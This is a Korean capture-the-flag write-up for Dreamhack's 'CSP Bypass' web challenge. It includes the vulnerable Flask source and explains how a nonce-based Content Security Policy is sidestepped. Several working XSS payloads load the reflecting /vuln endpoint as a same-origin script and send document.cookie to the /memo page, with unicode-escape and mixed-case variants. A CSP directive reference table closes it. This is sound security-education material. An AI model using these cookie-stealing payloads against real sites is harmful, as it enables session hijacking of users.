[Dreamhack] Level2: CSP Bypass

🛎️ Access

Exercise: XSS Filtering Bypass의 패치된 문제이다.

 

 

👾Exploit Algorithm & Payload

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome("/chromedriver", options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)


@app.after_request
def add_header(response):
    global nonce
    response.headers[
        "Content-Security-Policy"
    ] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
    nonce = os.urandom(16).hex()
    return response


@app.route("/")
def index():
    return render_template("index.html", nonce=nonce)


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", nonce=nonce)
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'

        return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text, nonce=nonce)


app.run(host="0.0.0.0", port=8000)

 

 

#1

---

1) '/' 페이지

: vuln(xss) page, memo, flag 페이지로 접속할 수 있다.

 

2) '/vuln' 페이지

: 입력한 값이 화면에 출력된다.

: parm이라는 파라미터를 이용하여 /vuln?param=<script>alert(1)</script> 해당 값을 입력하였더니 정상적인 script 반응을 확인할 수 없고, 다음과 같은 이슈를 확인할 수 있다.

: XSS 공격을 시도하였으나 CSP(Content Security Policy) 방어 정책에 의해 동작하지 않는 것을 확인할 수 있다.

 

3) '/memo' 페이지

: 작성한 메모가 출력된다.

: memo라는 파라미터를 이용하여 /memo?memo=hello 해당 값을 입력하였더니 hello라는 값을 확인할 수 있다.

 

4) '/flag' 페이지

: 전달된 URL에 임의 이용자가 접속할 수 있게 한다. ('/flag' 페이지를 활용하여 해당 이용자의 쿠키에서 flag를 획득)

 

 

#2

---

vuln:1 Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' 'nonce-d3ce962dfbb8223ac7119374fd71e621'". Either the 'unsafe-inline' keyword, a hash ('sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='), or a nonce ('nonce-...') is required to enable inline execution.

: CSP(Content Security Policy)방어 정책이 어떻게 적용되어 있는지 확인한다.

 

>  script-src 'self' 'nonce-{nonce}’

: 스크립트 태그 관련 권한과 출처를 제어, 페이지의 현재 출처 내에서 로드하는 리소스만 허용, nonce 속성을 설정하여 예외적 인라인 코드 사용

> style-src 'self' 'unsafe-inline’

: 스타일 시트 관련 권한과 출처 제어, 페이지의 현재 출처 내에서 로드하는 리소스만 허용, 예외적으로 인라인 코드의 사용 허용

 

 

#3

---

http://host3.dreamhack.games:12735/vuln?param=<script src='/vuln?param=alert(document.cookie)'></script>

: script-src의 nonce 값을 알면 script를 작성하여 결과를 확인할 수 있으나, nonce(임의로 생성되는 암호화 토큰)는 값 예측이 힘들어 보이므로 self 출처를 위반하지 않는 선에서 unsafe-inline을 활용하면 script 반응을 확인할 수 있다.

 

 

🔑Analysis and results for obtaining the Flag DH{…}

---

# '+' → %2b를 사용하는 것은 스크립트 부분이 두 단계를 거쳐 파라미터 해석이 되기 때문에 URL Decoding되어 공백 해석되지 않도록 사용함
<script src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></script>

# Unicode escape sequence를 이용한 xss 우회 공격(CSP Bypass 'unsafe-inline')
<script src="/vuln?param=locatio\u006E.href='/memo?memo='%2bdocument.cookie"></script>

# 대소문자를 이용한 xss 우회 공격(CSP Bypass 'unsafe-inline')
<ScRiPt src="/vuln?param=location.href='/memo?memo='%2bdocument.cookie"></ScRiPt >

...

: 다양한 방법으로 CSP 우회가 가능하며 memo페이지에서 FLAG를 확인할 수 있다.

 

 

 

📌Summary

---

컨텐츠 보안 정책(CSP; Content Wecurity Policy)은 XSS 공격으로부터 피해를 최소화할 수 있는 좋은 방안이나 XSS 공격을 완전 무력화 하는 수단은 아니기 때문에 잘못 사용 및 우회가 허용될 시 보안 해결책으로써 역할이 불가하게 됨

 

refer to... : https://csp-evaluator.withgoogle.com

 

- CSP(Content Security Policy, 컨텐츠 보안 정책) 확인 -

지시문	설명
https://*.example.com	출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www..com, https://.example.*
*://example.com	출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://example.com:*	출처의 포트는 와일드카드를 이용해 표현할 수 있습니다.
none	모든 출처를 허용하지 않습니다.
self	페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다.
unsafe-inline	예외적으로 인라인 코드의 사용을 허용합니다
unsafe-eval	예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다
nonce-<base64-value>	nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value> 는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
<hash-algorithm>-<base64-value>	script 혹은 style 태그 내 코드의 해시를 표현합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
...

 

출처	설명
https://*.example.com	출처의 호스트 서브도메인은 와일드카드를 이용해 표현할 수 있습니다. (단, 와일드카드는 호스트의 중간에 들어갈 수 없습니다. i.e) https://www.*.com, https://*.example.*
*://example.com	출처의 scheme은 와일드카드를 이용해 표현할 수 있습니다.
https://example.com:*	출처의 포트는 와일드카드를 이용해 표현할 수 있습니다.
none	모든 출처를 허용하지 않습니다.
self	페이지의 현재 출처 (Origin) 내에서 로드하는 리소스만 허용합니다.
unsafe-inline	예외적으로 인라인 코드의 사용을 허용합니다
unsafe-eval	예외적으로 eval과 같은 텍스트-자바스크립트 변환 메커니즘의 사용을 허용합니다
nonce-<base64-value>	nonce 속성을 설정하여 예외적으로 인라인 코드를 사용합니다. <base64-value> 는 반드시 요청마다 다른 난수 값으로 설정해야 합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
<hash-algorithm>-<base64-value>	script 혹은 style 태그 내 코드의 해시를 표현합니다. 해당 출처를 설정하면 unsafe-inline 은 무시됩니다.
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